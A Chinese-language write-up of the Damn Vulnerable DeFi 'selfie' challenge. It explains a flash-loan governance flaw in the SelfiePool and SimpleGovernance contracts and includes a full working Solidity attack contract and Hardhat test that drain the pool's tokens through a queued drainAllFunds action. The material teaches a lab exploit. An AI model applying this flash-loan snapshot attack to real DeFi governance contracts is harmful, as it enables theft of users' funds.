selfie
题目链接:https://www.damnvulnerabledefi.xyz/challenges/6.html
题目描述:
有一个借贷池提供 DVT token 的闪电贷功能,DVT token 用来作为治理代币为 governance 合约提供治理功能。现在借贷池中有 150 万个 token, 你的目标是将这些 token 全部取出。
本题有三个智能合约:
DamnValuableTokenSnapshot
具有snapshot
功能的token
合约SelfiePool
借贷池合约SimpleGovernance
治理合约
首先看下借贷池合约的源码
SelfiePool.sol
contract SelfiePool is ReentrancyGuard {
using Address for address;
// token 合约
ERC20Snapshot public token;
// governance 合约
SimpleGovernance public governance;
event FundsDrained(address indexed receiver, uint256 amount);
// 确保函数的执行者是 governance 合约
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}
// 构造函数: 创建 token 和 governance 实例
constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}
// 闪电贷函数
function flashLoan(uint256 borrowAmount) external nonReentrant {
// 确保余额充足
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// 将 borrowAmount 数量的 token 转给 msg.sender
token.transfer(msg.sender, borrowAmount);
// 确保 msg.sender 是合约地址
require(msg.sender.isContract(), "Sender must be a deployed contract");
// 调用 msg.sender 的 receiveTokens 方法
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
// 确保已返还借出的token
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
// 提取该合约中的全部token, 并且只能由 governance 调用
function drainAllFunds(address receiver) external onlyGovernance {
// 获取余额
uint256 amount = token.balanceOf(address(this));
// 将 token 转给 receiver
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
该借贷池合约提供了两个方法
flashLoan
闪电贷方法,并且会回调调用者的receiveTokens
方法drainAllFunds
取出所有的token
, 并且该方法的调用者必须是治理合约
接着再看下治理合约的源码
SimpleGovernance.sol
contract SimpleGovernance {
using Address for address;
struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
// 治理 token
DamnValuableTokenSnapshot public governanceToken;
// 存储所有 action 的 mapping
mapping(uint256 => GovernanceAction) public actions;
// action 计数
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
// 构造函数, 传入治理 token 地址
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}
// 创建一个 action
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
// 确保有足够的投票
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
// 确保 reveiver 不是该合约
require(receiver != address(this), "Cannot queue actions that affect Governance");
// 将 action 保存到 actions 中
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
// 返回 actionId
return actionId;
}
// 执行创建的 action
function executeAction(uint256 actionId) external payable {
// 创建的 action 是否可以被执行
require(_canBeExecuted(actionId), "Cannot execute this action");
// 取出当前最新的待执行的 action
GovernanceAction storage actionToExecute = actions[actionId];
// 设置执行时间为当前时间
actionToExecute.executedAt = block.timestamp;
// 执行 action.reveiver 的 data
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
}
function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
// 判断一个 action 是否可以被执行
// 1. 从来没有执行过
// 2. 创建时间超过 2 days
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
// 判断是否有足够的投票
// 拥有的 governanceToken 数量大于总量的一半
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
治理合约核心就两个方法
queueAction
创建action
并保存相关的数据executeAction
执行创建的action
,本质就是执行action.receive
中data
现在回过头来,看下我们的最终目标:取光借贷池中的所有 token
。只能通过调用方法 drainAllFunds
来达到目的,但该方法又只能由治理合约调用。似乎已经走入死路了,但别忘记了,治理合约中的 executeAction
方法内部会去执行 action.receive
中data
。如果 receive
是借贷池合约,data
是 drainAllFunds
方法,似乎是可行的。但前提是需要创建 action
, 但创建 action
的前提是拥有至少一半的治理 token
。此时就可以通过闪电贷来达到拥有token
的目的。
最终,我们的攻击步骤如下:
- 通过闪电贷借出池子中的全部
token
- 在回调方法中,构造
drainAllFunds
的data
,调用治理合约的queueAction
创建action
- 返还
token
- 两天后,执行治理合约的
executeAction
方法,将代币转移给攻击者。
攻击合约如下
SelfieAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
contract SelfieAttack {
SelfiePool public pool;
SimpleGovernance public governance;
address public attacker;
uint public actionId;
constructor (address _pool, address _governance) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
attacker = msg.sender;
}
function attack(uint amount) public {
pool.flashLoan(amount);
}
function receiveTokens(address _token, uint _amount) public {
// 构造data
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", attacker);
// 执行快照
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
token.snapshot();
// 创建 action
actionId = governance.queueAction(address(pool), data, 0);
// 返还token
token.transfer(address(pool), _amount);
}
}
调用 queueAction
后创建的 action
如下
{
receiver: 借贷池合约,
data: drainAllFunds(attacker)
...
}
两天后,执行治理合约的 executeAction
方法时,会调用 receiver
的 data
, 也就是调用 借贷池合约的 drainAllFunds
, 参数是 attacker
// receiver 地址是 attacker
function drainAllFunds(address receiver) external onlyGovernance {
// 获取余额
uint256 amount = token.balanceOf(address(this));
// 将 token 转给 receiver
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
最后在单元测试文件 selfie.challenge.js
中编写执行代码
it('Exploit', async function () {
const SelfieAttackFactory = await ethers.getContractFactory(
'SelfieAttack',
attacker
)
const selfieAttack = await SelfieAttackFactory.deploy(
this.pool.address,
this.governance.address
)
await selfieAttack.attack(TOKENS_IN_POOL)
await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
const actionId = await selfieAttack.actionId()
this.governance.executeAction(actionId)
})
执行 yarn selfie
, 测试通过!